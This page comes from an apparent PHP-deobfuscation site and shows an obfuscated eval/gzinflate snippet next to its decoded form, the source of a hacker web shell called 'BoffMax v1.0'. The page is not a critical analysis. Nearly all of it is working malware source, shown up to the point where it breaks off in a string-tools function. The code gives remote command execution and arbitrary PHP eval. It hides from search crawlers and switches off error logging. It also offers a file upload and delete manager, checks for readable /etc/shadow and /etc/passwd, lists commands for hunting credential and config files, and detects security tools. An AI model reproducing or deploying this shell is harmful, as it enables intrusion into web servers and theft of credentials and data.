Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $auth_pass = "596a96cc7bf9108cd896f33c44aedc8a"; ?> <? eval(gzinflate(str_rot13(..
Decoded Output download
?><?php
$color = "#00FF00";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo'<br>';
if(get_magic_quotes_gpc()) {
function BOFFstripslashes($array) {
return is_array($array) ? array_map('BOFFstripslashes', $array) : stripslashes($array);
}
$_POST = BOFFstripslashes($_POST);
}
function BOFFLogin() {
die("<title>BoffMax v1.0 Web Shell by The-C0de Team -Use on your own risk !!</title><pre align=center><b><form method=post><input type=password name=pass size=10><input type=submit value='>'></form></pre>");
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
BOFFLogin();
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function BOFFHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - BoffMax v1.0 Web Shell by The-C0de Team</title>
<style>
body{background:url(http://www.the-code.tk/dot.gif);color:#00C000;}
body,td,th{ border:0px; ;font: 9pt Tahoma,Verdana;margin:0;vertical-align:top;color:#00C000; }
table.info{ padding: 0 15px; color:#fff; background-color:#000; }
span,h1,a{ color: #00FF00 !important; }
span{ font-weight: bolder; }
h1{ padding: 0px 5px;font: 14pt Verdana;background-color:#000;margin:0px; }
div.content{ padding: 7px;margin-left:7px;background-color:#003300; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #004000;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#004000;border:1px solid #00FF00; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#003300;}
.main tr:hover{border:2px outset gray;;background-color:#000}
.l1{background-color:#004000}
.l2{background-color:#003300}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:relative; left: 60px; border: 1px solid #00FF00;
width:90%;background-color:#004000;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Symlink'=>'Symlink','Perl. Sym'=>'PSymlink','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">{<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>}</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . BOFFViewSize($totalSpace) . ' <span>Free:</span> ' . BOFFViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. BOFFPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function BOFFFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #003300;border-bottom:2px solid #003300;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr>
<td><center>BoffMax v1.0 Web Shell by The-C0de Team</td>
<td><center>The-C0de Team Website : www.the-code.tk</td>
</table></div>
</body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function BOFFEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function BOFFViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function BOFFPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function BOFFPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . BOFFPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . BOFFPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . BOFFPerms(@fileperms($f)) . '</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function BOFFWhich($p) {
$path = BOFFEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
BOFFHeader();
echo '<h1>Server security information</h1><div class=content>';
function BOFFSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
BOFFSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
BOFFSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
BOFFSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
BOFFSecParam('Open base dir', @ini_get('open_basedir'));
BOFFSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
BOFFSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
BOFFSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
BOFFSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
BOFFSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
BOFFSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
BOFFSecParam('OS version', @file_get_contents('/proc/version'));
BOFFSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(BOFFWhich($item))
$temp[] = $item;
BOFFSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(BOFFWhich($item))
$temp[] = $item;
BOFFSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(BOFFWhich($item))
$temp[] = $item;
BOFFSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
BOFFSecParam('HDD space', BOFFEx('df -h'));
BOFFSecParam('Hosts', @file_get_contents('/etc/hosts'));
}
} else {
BOFFSecParam('OS Version',BOFFEx('ver'));
BOFFSecParam('Account Settings',BOFFEx('net accounts'));
BOFFSecParam('User Accounts',BOFFEx('net user'));
}
echo '</div>';
BOFFFooter();
}
function actionPhp() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\'") . "';
";
echo strlen($temp), "
", $temp;
exit;
}
BOFFHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
BOFFFooter();
}
function actionFilesMan() {
BOFFHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
} elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_SESSION['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_SESSION['c']);
foreach($_SESSION['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_SESSION['c'].$f))
$zip->addFile($_SESSION['c'].$f, $f);
elseif(@is_dir($_SESSION['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_SESSION['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_SESSION['f'] as $f) {
if($zip->open($_SESSION['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_SESSION['act'] == 'tar') {
chdir($_SESSION['c']);
$_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
BOFFEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
chdir($GLOBALS['cwd']);
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';BOFFFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => BOFFPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function BOFFCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "BOFFCmp");
usort($dirs, "BOFFCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?BOFFViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_SESSION['act']) && @count($_SESSION['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='BOFF_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
BOFFFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
